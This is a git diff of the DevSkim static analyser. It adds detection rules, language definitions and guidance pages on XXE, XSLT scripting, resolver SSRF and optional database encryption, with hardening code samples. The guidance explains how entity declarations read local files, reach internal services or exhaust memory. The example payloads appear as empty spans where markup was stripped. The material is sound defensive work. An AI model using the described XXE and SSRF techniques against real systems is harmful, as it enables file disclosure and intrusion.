diff --git a/Changelog.md b/Changelog.md index 9927e158..97653df0 100644 --- a/Changelog.md +++ b/Changelog.md @@ -4,7 +4,44 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). -## [1.0.96] - 2026-08-03 +## [1.0.110] - 2026-08-26 +### Changed +- Moved to `Microsoft.CST.ApplicationInspector.RulesEngine` and `...Logging` 1.10.1. This is the first release carrying the boolean expression support from [ApplicationInspector#654](https://github.com/microsoft/ApplicationInspector/pull/654), plus four rules-engine fixes: string patterns always reported pattern index 0, conditions were only judged against the first capture, the async path over-reported by taking a union rather than an intersection, and override suppression used different overlap rules on the sync and async paths. The last of these affects DevSkim in particular, since 38 rules use `overrides` and the sync path now requires full containment; the preceding release brought every DevSkim override pair into containment ahead of this change. + +### Fix +- Made `DS440017`'s `must-match` sample independent of comment styling. Its condition looks for `openssl` in `code` scope, but the sample placed it in a `/* */` comment, which passed under 1.9.50 only because the verifier's fallback language has no comment syntax. The sample now puts `openssl` in a string literal. + +## [1.0.108] - 2026-08-19 +### Added +- Added Kubernetes Security Baseline rules (`DS200000`-`DS200007`) covering privileged containers, privilege escalation, host namespace sharing, writable root filesystems, running as root, unpinned images, dangerous Linux capabilities, and `hostPath` volumes. These are the first rules to use the engine's `ymlpaths` support, which no shipped rule had used. +- Added package source rules `DS205000` (a `nuget.config` `` with no ``, so the sources are added to those inherited from machine and user level configuration rather than replacing them) and `DS205001` (`--extra-index-url` and `PIP_EXTRA_INDEX_URL`). +- Added `DS114352`, which detects connection strings that leave transport encryption optional (`Encrypt=False`, `TrustServerCertificate=True`, `sslmode=prefer`/`allow`/`disable`, MySQL `SslMode=Preferred`/`None`, JDBC `useSSL=false`). Guidance for this rule was already in the repository but no rule referenced it. +- Added secret detection for PEM private key blocks (`DS173238`), provider access tokens from GitHub, AWS, Google, Slack, Stripe, npm, SendGrid and GitLab (`DS173239`), and Azure Storage account keys and shared access signatures (`DS173240`). The two existing secret rules keyed on 30 or more lowercase hex characters and matched none of these formats. +- Added `DS610000` for anchors using `target="_blank"` without `rel="noopener noreferrer"`. Its guidance was already present but the rule could not be written because no `html` language existed. +- Added deserialization rules for the libraries ADM.10010 names as unapproved: Python `torch.load`, `joblib.load`, `dill.load` and `marshal` (`DS425050`); PyYAML `yaml.load` without a safe loader (`DS425060`); .NET `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer`, `LosFormatter` and `ObjectStateFormatter` (`DS425070`); `JavaScriptSerializer` and `SimpleTypeResolver` (`DS425080`); and Boost Property Tree (`DS425090`). +- Added XXE rules for .NET `DtdProcessing.Parse` and `ProhibitDtd = false` (`DS132782`), .NET `XmlResolver` assignment (`DS132783`), Java parser factories with no hardening feature anywhere in the file (`DS132784`), PHP `libxml_disable_entity_loader(false)` and `LIBXML_NOENT` (`DS132785`), and lxml entity resolution (`DS132786`). Previous coverage was Objective-C and Swift only. +- Added `DS154190` (the `IsBad*Ptr` family), `DS154191` (`CopyMemory` and `RtlCopyMemory`), `DS154192` (`strlen`, `wcslen`, `_tcslen`, `lstrlen`) and `DS154193` (Objective-C method swizzling). +- Added `html`, `dockerfile`, `terraform`, `bicep`, `kotlin`, `scala`, `dart`, `toml`, `gradle`, `msbuild` (`.props`/`.targets`), `dotenv`, `makefile` and `pem` language definitions with matching comment syntax. 32 rules declare no `applies_to` and so apply to every known language, meaning each addition extends those rules to a file type that was previously skipped. +- Added `file-names` entries so extensionless files are scanned. `Dockerfile`, `Makefile`, `Cargo.toml`, `id_rsa` and the shell dotfiles have no extension, so extension-based matching alone never reached them. +- Added `must-match` self-tests to the 32 rules that had none. Every rule now has a positive self-test. + +### Fix +- Fixed the four rules that were never shipped. `android.json` (`DS180000`, `DS180001`, `DS180002`) and `xslt_scripting.json` (`DS132781`) were missing from the hand-maintained `` list in `Microsoft.DevSkim.csproj`, so they were absent from the default rule set. This is also why their dangling `rule_info` references never failed CI, since the tests iterate the shipped set. Their missing guidance has been written. +- Fixed `DS180000`, which bound the default XML namespace to the Maven POM namespace and matched `//default:application`. A real `AndroidManifest.xml` has no default namespace, so the rule could not fire on one; its self-test used a manifest with the Maven namespace and therefore passed while testing a document shape that does not occur. +- Fixed `DS132781`, which declared `applies_to: ["CSharp"]`. Language names are matched exactly against `languages.json`, which defines `csharp`, so the rule reported nothing. +- Fixed `DS191340`, which used `$1` as a backreference. .NET spells that `\1`, and `$` is an end-of-line anchor, so the pattern could never match. +- Fixed `DS440016`'s `--(sslv2|sslv3|tlsv1|tlsv11|tlsv1\.1|tlsv1\.2)` alternation, which was ordered shortest-first. .NET alternation is leftmost-first rather than longest-match, so `tlsv1` always won and the `tlsv11`, `tlsv1\.1` and `tlsv1\.2` branches were unreachable; `curl --tlsv1.1` reported a span covering only `--tlsv1`. +- Fixed `DS440016`'s `--secure-protocol=` pattern, which was typed as `string` and therefore word-boundary anchored. A leading hyphen is not a word character, so `wget --secure-protocol=SSLv3` was not reported at all. It is now a regex that also covers the protocol value following the flag. +- Repointed `DS140021` (`strlen`) from `DS154189` to `DS154192`. `strlen` moved into `DS154192` in this release, which left the old override inert and made `strlen(s)` report twice at the same severity. +- Gave the two unrelated rules that both used the ID `DS440011` distinct IDs. SARIF emits one `tool.driver.rules` entry per rule ID, so findings from the `hardcoded_tls.json` rule were reported with the other rule's name and a `helpUri` pointing at the wrong guidance document, and suppressing either ID suppressed both. The `hardcoded_tls.json` rule is now `DS440017`. +- Removed `DS440060`, which had an empty `patterns` array and so could not produce a finding while still occupying an entry in SARIF tool metadata. +- Normalised `DS450003`'s severity from `manualreview` to `ManualReview`. + +### Changed +- Extended `DS154189` from 80 to 178 alternatives. Comparing the shipped rules against the 194 APIs enumerated in ADM.10082 found 113 that DevSkim did not report: 108 absent, and 5 present only in the wrong case, which `RegexWord` does not match. +- Moved `wcslen` and `_tcslen` from `DS154189` into `DS154192` so the same defect is not reported at two different severities depending on which variant is used. +- Added `javascriptreact` and `typescriptreact` to the 7 rules that target `javascript` or `typescript`. Both languages were already defined and mapped to `.jsx` and `.tsx`, but no rule named them, so React source received none of those rules. + ### Dependencies - Consolidated the open Dependabot pull requests (#765, #766, #767, #768, #769) into a single update for the VS Code extension: `linkify-it` 5.0.1 to 5.0.2, `fast-uri` 3.1.2 to 3.1.4, `undici` 7.24.6 to 7.29.0, and `brace-expansion` 1.1.14 to 1.1.16 and 5.0.5 to 5.0.8. - Bumped `vscode-languageclient` from 7.0.0 to 10.1.0 in the extension client, which pulls `vscode-languageserver-protocol` up to 3.18.2 and replaces the transitive `minimatch` 3.1.5 chain with 10.2.5. diff --git a/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj b/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj index 3da91a46..fb10d587 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj +++ b/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj @@ -50,7 +50,7 @@ - + diff --git a/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj b/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj index ce581caa..44570c5c 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj +++ b/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj @@ -24,7 +24,7 @@ - + 3.7.115 @@ -50,6 +50,9 @@ rules\default\security\attack_surface\outbound_network.json + + rules\default\security\containers\kubernetes.json + rules\default\security\control_flow\dynamic_execution.json @@ -65,6 +68,9 @@ rules\default\security\cryptography\ciphers.json + + rules\default\security\cryptography\connection_strings.json + rules\default\security\cryptography\general.json @@ -89,6 +95,9 @@ rules\default\security\cryptography\weak_cipher_modes.json + + rules\default\security\frameworks\android.json + rules\default\security\frameworks\aspnet5.json @@ -119,6 +128,9 @@ rules\default\security\storage\secure_storage.json + + rules\default\security\supplychain\package_sources.json + rules\default\security\TLS\tls_appconfig.json @@ -164,9 +176,15 @@ rules\default\security\vulnerable_libraries\microsoft_nuget.json + + rules\default\security\web\html_links.json + rules\default\security\xml\external_entities.json + + rules\default\security\xml\xslt_scripting.json + rules\default\correctness\datetime.json diff --git a/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json b/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json index e892c1dd..19620f7d 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json +++ b/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json @@ -15,7 +15,12 @@ "javascript", "java", "typescript", - "php" + "php", + "kotlin", + "scala", + "dart", + "bicep", + "gradle" ], "inline": "//", "prefix": "/*", @@ -25,7 +30,7 @@ "language": [ "plaintext" ], - "always": true + "always": true }, { "language": [ @@ -36,7 +41,13 @@ "ruby", "yaml", "powershell", - "python" + "python", + "dockerfile", + "terraform", + "toml", + "dotenv", + "makefile", + "pem" ], "inline": "#", "prefix": "#", @@ -74,5 +85,13 @@ "inline": "::", "prefix": "Rem", "suffix": "\n" + }, + { + "language": [ + "html", + "msbuild" + ], + "prefix": "" } ] \ No newline at end of file diff --git a/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json b/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json index b4665a5c..bd385ca8 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json +++ b/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json @@ -1,150 +1,377 @@ [ + { + "name": ".config", + "extensions": [ + ".config" + ] + }, { "name": "batch", - "extensions": [ ".bat" ] + "extensions": [ + ".bat" + ] + }, + { + "name": "bicep", + "extensions": [ + ".bicep" + ] }, { "name": "c", - "extensions": [ ".c", ".h" ] + "extensions": [ + ".c", + ".h" + ] + }, + { + "name": "clojure", + "extensions": [ + ".clj", + ".cljs", + ".cljc", + ".edn" + ] + }, + { + "name": "cobol", + "extensions": [ + ".cbl", + ".cob", + ".cpy" + ] + }, + { + "name": "coffeescript", + "extensions": [ + ".coffee" + ] }, { "name": "cpp", - "extensions": [ ".cpp", ".hpp", ".cc", ".hh", ".cxx", ".hxx", ".inl", ".h" ] + "extensions": [ + ".cpp", + ".hpp", + ".cc", + ".hh", + ".cxx", + ".hxx", + ".inl", + ".h" + ] }, { "name": "csharp", - "extensions": [ ".cs", ".cshtml", ".razor" ] + "extensions": [ + ".cs", + ".cshtml", + ".razor" + ] }, { - "name": "vb", - "extensions": [ ".vb" ] + "name": "CSharp Project", + "extensions": [ + ".csproj" + ] }, { - "name": "python", - "extensions": [ ".py" ] + "name": "dart", + "extensions": [ + ".dart" + ] }, { - "name": "javascript", - "extensions": [ ".js" ] + "name": "dockerfile", + "extensions": [ + ".dockerfile" + ], + "file-names": [ + "dockerfile", + "containerfile" + ] }, { - "name": "javascriptreact", - "extensions": [ ".jsx" ] + "name": "dotenv", + "extensions": [ + ".env" + ], + "file-names": [ + ".env", + ".env.local", + ".env.production", + ".env.development" + ] }, { - "name": "typescript", - "extensions": [ ".ts" ] + "name": "fsharp", + "extensions": [ + ".fs" + ] }, { - "name": "typescriptreact", - "extensions": [ ".tsx" ] + "name": "go", + "extensions": [ + ".go" + ] }, { - "name": "coffeescript", - "extensions": [ ".coffee" ] + "name": "gradle", + "extensions": [ + ".gradle" + ], + "file-names": [ + "gradlew" + ] }, { - "name": "java", - "extensions": [ ".java" ] + "name": "groovy", + "extensions": [ + ".groovy" + ] }, { - "name": "objective-c", - "extensions": [ ".m" ] + "name": "html", + "extensions": [ + ".html", + ".htm", + ".xhtml", + ".cshtml", + ".vbhtml", + ".razor" + ] }, { - "name": "swift", - "extensions": [ ".swift" ] + "name": "jade", + "extensions": [ + ".jade" + ] }, { - "name": "perl", - "extensions": [ ".pl", ".pm", ".t", ".pod" ] + "name": "java", + "extensions": [ + ".java" + ] }, { - "name": "perl6", - "extensions": [ ".pl6", ".p6", ".pm6" ] + "name": "javascript", + "extensions": [ + ".js" + ] }, { - "name": "ruby", - "extensions": [ ".rb" ] + "name": "javascriptreact", + "extensions": [ + ".jsx" + ] }, { - "name": "lua", - "extensions": [ ".lua" ] + "name": "json", + "extensions": [ + ".json" + ] }, { - "name": "groovy", - "extensions": [ ".groovy" ] + "name": "kotlin", + "extensions": [ + ".kt", + ".kts" + ] }, { - "name": "go", - "extensions": [ ".go" ] + "name": "lua", + "extensions": [ + ".lua" + ] }, { - "name": "rust", - "extensions": [ ".rs" ] + "name": "makefile", + "extensions": [ + ".mk" + ], + "file-names": [ + "makefile", + "gnumakefile" + ] }, { - "name": "jade", - "extensions": [ ".jade" ] + "name": "msbuild", + "extensions": [ + ".props", + ".targets" + ] }, { - "name": "clojure", - "extensions": [ ".clj", ".cljs", ".cljc", ".edn" ] + "name": "objective-c", + "extensions": [ + ".m" + ] }, { - "name": "r", - "extensions": [ ".r" ] + "name": "packages.config", + "extensions": [ + "packages.config" + ] + }, + { + "name": "pem", + "extensions": [ + ".pem", + ".key", + ".crt", + ".cer", + ".csr", + ".p7b", + ".asc" + ], + "file-names": [ + "id_rsa", + "id_dsa", + "id_ecdsa", + "id_ed25519", + "identity" + ] }, { - "name": "yaml", - "extensions": [ ".yaml", ".yml" ] + "name": "perl", + "extensions": [ + ".pl", + ".pm", + ".t", + ".pod" + ] }, { - "name": "fsharp", - "extensions": [ ".fs" ] + "name": "perl6", + "extensions": [ + ".pl6", + ".p6", + ".pm6" + ] }, { "name": "php", - "extensions": [ ".php" ] + "extensions": [ + ".php" + ] + }, + { + "name": "plaintext", + "extensions": [ + ".txt" + ] }, { "name": "powershell", - "extensions": [ ".ps1", ".psm1", ".psd1" ] + "extensions": [ + ".ps1", + ".psm1", + ".psd1" + ] + }, + { + "name": "python", + "extensions": [ + ".py" + ] + }, + { + "name": "r", + "extensions": [ + ".r" + ] + }, + { + "name": "ruby", + "extensions": [ + ".rb" + ] + }, + { + "name": "rust", + "extensions": [ + ".rs" + ] + }, + { + "name": "scala", + "extensions": [ + ".scala", + ".sc" + ] }, { "name": "shellscript", - "extensions": [ ".sh" ] + "extensions": [ + ".sh" + ], + "file-names": [ + ".bashrc", + ".bash_profile", + ".profile", + ".zshrc" + ] }, { "name": "sql", - "extensions": [ ".sql" ] + "extensions": [ + ".sql" + ] }, { - "name": "plaintext", - "extensions": [ ".txt" ] + "name": "swift", + "extensions": [ + ".swift" + ] }, { - "name": ".config", - "extensions": [ ".config" ] + "name": "terraform", + "extensions": [ + ".tf", + ".tfvars" + ] }, { - "name": "packages.config", - "extensions": [ "packages.config" ] + "name": "toml", + "extensions": [ + ".toml" + ], + "file-names": [ + "cargo.toml", + "pyproject.toml" + ] }, { - "name": "CSharp Project", - "extensions": [ ".csproj" ] + "name": "typescript", + "extensions": [ + ".ts" + ] }, { - "name": "cobol", - "extensions": [ ".cbl", ".cob", ".cpy" ] + "name": "typescriptreact", + "extensions": [ + ".tsx" + ] }, { - "name": "json", - "extensions": [ ".json" ] + "name": "vb", + "extensions": [ + ".vb" + ] }, { "name": "xml", - "extensions": [ ".xml" ] + "extensions": [ + ".xml" + ] + }, + { + "name": "yaml", + "extensions": [ + ".yaml", + ".yml" + ], + "file-names": [ + ".gitlab-ci.yml" + ] } ] diff --git a/guidance/DS114352.md b/guidance/DS114352.md index a2da3921..db815828 100644 --- a/guidance/DS114352.md +++ b/guidance/DS114352.md @@ -1,11 +1,71 @@ -## Encryption Marked 'Optional' +# Encryption Marked Optional -### Summary -Optional encryption or integrity checking can be dangerous. +## Summary -### Details -TO DO - put more details of problem and solution here +* A connection string leaves transport encryption optional, or disables certificate validation. +* Require encryption and validate the certificate: `Encrypt=True` with + `TrustServerCertificate=False`, or `sslmode=verify-full`. -### Severity Considerations -TO DO - put more details on the severity of the issue here. Generally how big of a problem is this, and what makes it more or less of a problem? +## Details +Optional encryption is not encryption. Each of the settings below allows the connection to succeed +without the protection it appears to describe, and none of them produces an error when the +protection is absent: + +* **`Encrypt=False`** (SQL Server) sends the connection, including the credentials used to + authenticate it, in the clear. Anyone positioned on the network path reads them. +* **`TrustServerCertificate=True`** encrypts the channel but accepts any certificate the server + presents. Encryption without authentication stops passive eavesdropping only; an active attacker + presents their own certificate, terminates the connection, and reads and modifies everything. This + is the more dangerous of the two, because it looks secure in configuration and in traffic capture. +* **`sslmode=prefer` or `allow`** (PostgreSQL) attempt TLS and silently fall back to plaintext if + the server does not offer it. An attacker who can influence the handshake simply declines TLS. + `sslmode=require` encrypts but does not verify the certificate or hostname, so it has the same + weakness as `TrustServerCertificate=True`. +* **`SslMode=Preferred` or `None`** (MySQL) and **`useSSL=false`** (JDBC) behave the same way. + +Database connections almost always cross a trust boundary, and they carry credentials on every +connection, so they are a high-value target for interception. + +## Solution + +For SQL Server, require encryption and validate the certificate: + +``` text +Server=db.contoso.com;Database=app;Encrypt=True;TrustServerCertificate=False; +``` + +For PostgreSQL, use the mode that verifies both the chain and the hostname: + +``` text +Host=db.contoso.com;Database=app;sslmode=verify-full +``` + +For MySQL: + +``` text +Server=db.contoso.com;Database=app;SslMode=VerifyFull +``` + +If certificate validation fails, fix the certificate rather than disabling the check. The usual +causes are a hostname mismatch, where the connection string uses an IP address or a short name +instead of the name on the certificate, and a private certificate authority that is not in the +client's trust store. Both are configuration problems with proper fixes; +`TrustServerCertificate=True` is not one of them. + +Prefer a managed identity or another token-based credential where the platform supports it, so that +a compromised connection does not also disclose a reusable password. + +## Severity Considerations + +Raise the severity when the connection crosses a network the application does not control, and when +the credential in the connection string is shared or long-lived. +`TrustServerCertificate=True` should be treated as roughly equivalent to no encryption in the +presence of an active attacker, despite appearing in traffic as an encrypted connection. + +## References + +* [SQL Server: connection string encryption settings](https://learn.microsoft.com/sql/connect/ado-net/connection-string-syntax) +* [PostgreSQL: SSL support and `sslmode`](https://www.postgresql.org/docs/current/libpq-ssl.html) +* [MySQL: connector SSL modes](https://dev.mysql.com/doc/connector-net/en/connector-net-connection-options.html) +* [OWASP: Transport Layer Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Security_Cheat_Sheet.html) diff --git a/guidance/DS132781.md b/guidance/DS132781.md new file mode 100644 index 00000000..507617f1 --- /dev/null +++ b/guidance/DS132781.md @@ -0,0 +1,65 @@ +# XSLT Scripting Enabled + +## Summary + +* `XsltSettings.EnableScript` is set to `true`, which allows embedded scripts in an XSLT stylesheet + to execute. +* Leave `EnableScript` disabled unless the stylesheet is fully trusted, and never enable it for a + stylesheet that can be influenced by input. + +## Details + +XSLT stylesheets processed by `System.Xml.Xsl.XslCompiledTransform` may contain `msxsl:script` +blocks holding C#, Visual Basic, or JScript. When `XsltSettings.EnableScript` is `true`, that code +is compiled and executed in the process performing the transform, with the privileges of that +process. + +This makes stylesheet content equivalent to application code. An attacker who can supply or modify a +stylesheet gains arbitrary code execution, not merely control over the shape of the output document. +Stylesheets are frequently treated as configuration or content rather than code, so they are often +sourced from locations with weaker controls than the application binaries: a database column, an +uploaded file, a content management system, or a network share. + +`XsltSettings.TrustedXslt` is a convenience value that enables both scripting and the `document()` +function. It carries the same risk and should be treated the same way. + +The defaults are safe. `XsltSettings.Default` disables both scripting and `document()`, and passing +`null` settings to `XslCompiledTransform.Load` is equivalent. + +## Solution + +Prefer the default settings: + +``` csharp +XslCompiledTransform transform = new XslCompiledTransform(); +transform.Load(stylesheetPath, XsltSettings.Default, new XmlUrlResolver()); +``` + +Where an extension is genuinely required, supply it from application code through an extension +object rather than by enabling scripting in the stylesheet: + +``` csharp +XsltArgumentList arguments = new XsltArgumentList(); +arguments.AddExtensionObject("urn:my-extensions", new MyTrustedExtensions()); +transform.Transform(inputPath, arguments, outputWriter); +``` + +The extension object is compiled with the application, is reviewed with the application, and cannot +be replaced by editing a stylesheet. + +If scripting cannot be avoided, treat the stylesheet as source code: load it only from a path the +application controls, verify its integrity before use, and do not accept stylesheets from users or +from remote locations. + +## Severity Considerations + +Raise the severity when the stylesheet path, contents, or source location can be influenced by user +input or read from a writable location, since that is a direct path to code execution. The finding +can be lowered when the stylesheet is embedded as a compiled resource in the assembly. + +## References + +* [.NET: `XsltSettings.EnableScript`](https://learn.microsoft.com/dotnet/api/system.xml.xsl.xsltsettings.enablescript) +* [.NET: `XsltSettings` class](https://learn.microsoft.com/dotnet/api/system.xml.xsl.xsltsettings) +* [.NET: Script blocks using `msxsl:script`](https://learn.microsoft.com/dotnet/standard/data/xml/script-blocks-using-msxsl-script) +* [.NET: XSLT security considerations](https://learn.microsoft.com/dotnet/standard/data/xml/xslt-security-considerations) diff --git a/guidance/DS132782.md b/guidance/DS132782.md new file mode 100644 index 00000000..e26029eb --- /dev/null +++ b/guidance/DS132782.md @@ -0,0 +1,57 @@ +# Do not enable external entity resolution (.NET DTD processing) + +## Summary + +* `DtdProcessing` is set to `Parse`, or the legacy `ProhibitDtd` property is set to `false`. +* Set `DtdProcessing` to `Prohibit`. ADM.10010's worked example for safe XML deserialization does + exactly this. + +## Details + +Processing a DTD lets the document define entities, and entities are the mechanism behind two +distinct attacks: + +* **External entity resolution (XXE).** A declaration such as + `` makes the parser read a local file and substitute its + contents into the document. If any part of the parsed document is echoed back, the file is + disclosed. Even with no output, the same technique reaches internal network endpoints, giving + server-side request forgery from a parser. +* **Entity expansion (billion laughs).** Nested entity definitions expand exponentially, so a few + kilobytes of XML become gigabytes in memory and the process is killed. No external access is + required, so a parser that resolves no external entities is still affected if DTD processing is + enabled. + +`ProhibitDtd = false` is the .NET Framework 3.5 spelling of the same setting and has the same effect. + +## Solution + +Prohibit DTD processing, and pass the reader rather than the raw stream to the serializer: + +``` csharp +using var reader = XmlReader.Create(stream, new XmlReaderSettings +{ + DtdProcessing = DtdProcessing.Prohibit, + XmlResolver = null +}); + +var person = (Person?)new XmlSerializer(typeof(Person)).Deserialize(reader); +``` + +`DtdProcessing.Ignore` skips the DTD instead of rejecting the document. Use it when documents +legitimately carry a doctype you do not need. `Prohibit` is preferable when a DTD should never +appear, because it fails loudly rather than silently continuing. + +If a DTD genuinely must be processed, keep `XmlResolver` null so that no external reference can be +followed, and impose a limit with `XmlReaderSettings.MaxCharactersFromEntities`. + +## Severity Considerations + +Raise the severity when the XML comes from a request body, an upload, or another service. Lower it +when the input is a file shipped with the application and not writable at runtime. + +## References + +* [.NET: `XmlReaderSettings.DtdProcessing`](https://learn.microsoft.com/dotnet/api/system.xml.xmlreadersettings.dtdprocessing) +* [.NET: XML processing security guidance](https://learn.microsoft.com/dotnet/standard/data/xml/) +* [OWASP: XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132783.md b/guidance/DS132783.md new file mode 100644 index 00000000..61e98a4f --- /dev/null +++ b/guidance/DS132783.md @@ -0,0 +1,60 @@ +# Do not enable external entity resolution (.NET `XmlResolver`) + +## Summary + +* An `XmlResolver` is being assigned to a reader or settings object. +* Set `XmlResolver` to `null`, as ADM.10010's worked example does, unless the parser genuinely has to + follow external references. + +## Details + +The resolver is the component that turns a URI inside an XML document into a stream. Assigning an +`XmlUrlResolver` means the parser will follow references that the document author chose, including: + +* `file://` URIs, which read local files and can disclose their contents, +* `http://` and `https://` URIs, which reach network locations from the server, making the parser a + server-side request forgery primitive against internal services, +* references in a DTD, an `xs:import`, or an `xsl:include`, not only in entity declarations. + +`XmlSecureResolver` is also reported here. It restricts requests using code access security, which +is not enforced on .NET Core or .NET 5 and later, so on modern .NET it provides no protection while +appearing to. It should not be relied on as a mitigation. + +Leaving the property unset is safe on current frameworks, where the default is already null, but +being explicit documents the intent and protects against a future refactor. + +## Solution + +``` csharp +var settings = new XmlReaderSettings +{ + DtdProcessing = DtdProcessing.Prohibit, + XmlResolver = null +}; + +using var reader = XmlReader.Create(stream, settings); +``` + +The same applies to `XmlDocument` and to XSLT: + +``` csharp +var document = new XmlDocument { XmlResolver = null }; +document.Load(reader); +``` + +Where external references are a genuine requirement, do not solve it with a resolver that accepts +arbitrary URIs. Resolve the references yourself from a known set, and pass the resulting content to +the parser as trusted input. + +## Severity Considerations + +Raise the severity when the document is untrusted, since a resolver plus untrusted input is directly +exploitable. Note that this finding matters even when DTD processing is prohibited, because schema +and stylesheet references are resolved through the same mechanism. + +## References + +* [.NET: `XmlReaderSettings.XmlResolver`](https://learn.microsoft.com/dotnet/api/system.xml.xmlreadersettings.xmlresolver) +* [.NET: `XmlSecureResolver`](https://learn.microsoft.com/dotnet/api/system.xml.xmlsecureresolver) +* [OWASP: XML External Entity Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html) +* [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) diff --git a/guidance/DS132784.md b/guidance/DS132784.md new file mode 100644 index 00000000..fb396f09 --- /dev/null +++ b/guidance/DS132784.md @@ -0,0 +1,86 @@ +# Do not enable external entity resolution (Java XML factories) + +## Summary + +* A Java XML parser factory is constructed in this file, and none of the features that disable + external entity resolution appear anywhere in it. +* Call `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` before parsing + untrusted input. + +## Details + +Java's XML factories resolve external entities by default. `DocumentBuilderFactory`, +`SAXParserFactory`, `XMLInputFactory`, `TransformerFactory` and `SchemaFactory` are all affected, and +the default is unsafe for every one of them. Parsing untrusted XML with a factory straight from +`newInstance()` therefore allows: + +* local file disclosure through ``, +* server-side request forgery, because the parser fetches `http://` URIs from wherever it runs, +* denial of service through recursive entity expansion. + +Unlike .NET, Java has no single safe default to fall back on, so hardening must be written +explicitly at every construction site. + +### What this rule can and cannot tell you + +The rule reports when a factory is constructed and *no* hardening feature is mentioned anywhere in +the file. That keeps it quiet for files that clearly harden their parsers, without needing to +understand which factory instance a given `setFeature` call applies to. + +The consequence is that it under-reports rather than over-reports. A file that hardens one factory +and constructs a second unhardened one will not be flagged, because the hardening is present +somewhere in the file. Treat a clean result as "this file shows evidence of hardening", not as proof +that every parser in it is safe. This is why the finding is raised for manual review. + +## Solution + +The most complete option, when your documents do not need a doctype, is to reject them outright: + +``` java +DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); +factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); +factory.setXIncludeAware(false); +factory.setExpandEntityReferences(false); + +DocumentBuilder builder = factory.newDocumentBuilder(); +``` + +Where a doctype must be permitted, disable the entity resolution instead: + +``` java +factory.setFeature("http://xml.org/sax/features/external-general-entities", false); +factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); +factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); +``` + +For `XMLInputFactory` (StAX): + +``` java +XMLInputFactory factory = XMLInputFactory.newInstance(); +factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); +factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); +``` + +For `TransformerFactory` and `SchemaFactory`, restrict external access: + +``` java +TransformerFactory factory = TransformerFactory.newInstance(); +factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); +factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); +factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); +``` + +Prefer building the hardened factory once in a helper and using it everywhere, rather than repeating +the configuration at each call site where it can be forgotten. + +## Severity Considerations + +Raise the severity when the parsed document arrives from a request, a queue, or an upload. Lower it +when the factory only ever reads files that ship with the application. + +## References + +* [OWASP: XXE Prevention Cheat Sheet — Java](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java) +* [Java: `XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) +* [Xerces: `disallow-doctype-decl` feature](https://xerces.apache.org/xerces2-j/features.html) +* [CWE-611: Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html) diff --git a/guidance/DS132785.md b/guidance/DS132785.md new file mode 100644 index 00000000..9ede321b --- /dev/null +++ b/guidance/DS132785.md @@ -0,0 +1,57 @@ +# Do not enable external entity resolution (PHP libxml) + +## Summary + +* `libxml_disable_entity_loader(false)` or the `LIBXML_NOENT` option was detected. +* Leave the external entity loader disabled and do not pass `LIBXML_NOENT`. + +## Details + +PHP's XML functions are built on libxml2. Two settings re-enable entity processing: + +* **`libxml_disable_entity_loader(false)`** turns the external entity loader back on for the rest of + the request, affecting every subsequent parse, not just the next one. A document can then declare + `` and read local files, or use `php://filter` to read and + base64-encode a source file so it survives being embedded in XML. +* **`LIBXML_NOENT`** is misleadingly named. It does not mean "no entities"; it means substitute + entities, which is precisely the behaviour that makes XXE work. It is a common mistake to pass it + believing it hardens the parse. + +From libxml2 2.9 the loader is disabled by default, so the disabling call is usually unnecessary and +its presence normally means someone re-enabled the loader deliberately to make a document parse. + +## Solution + +Remove the call and the option: + +``` php +$document = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET); +``` + +`LIBXML_NONET` disables network access during parsing and is the option you usually want. Combine it +with an explicit check when the input is untrusted: + +``` php +$previous = libxml_use_internal_errors(true); +$document = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET); +if ($document === false) { + // handle the parse failure rather than continuing with partial data +} +libxml_use_internal_errors($previous); +``` + +If a document genuinely requires entity substitution, do it for that parse only, restore the +previous state immediately afterwards, and never do it for input that crosses a trust boundary. + +## Severity Considerations + 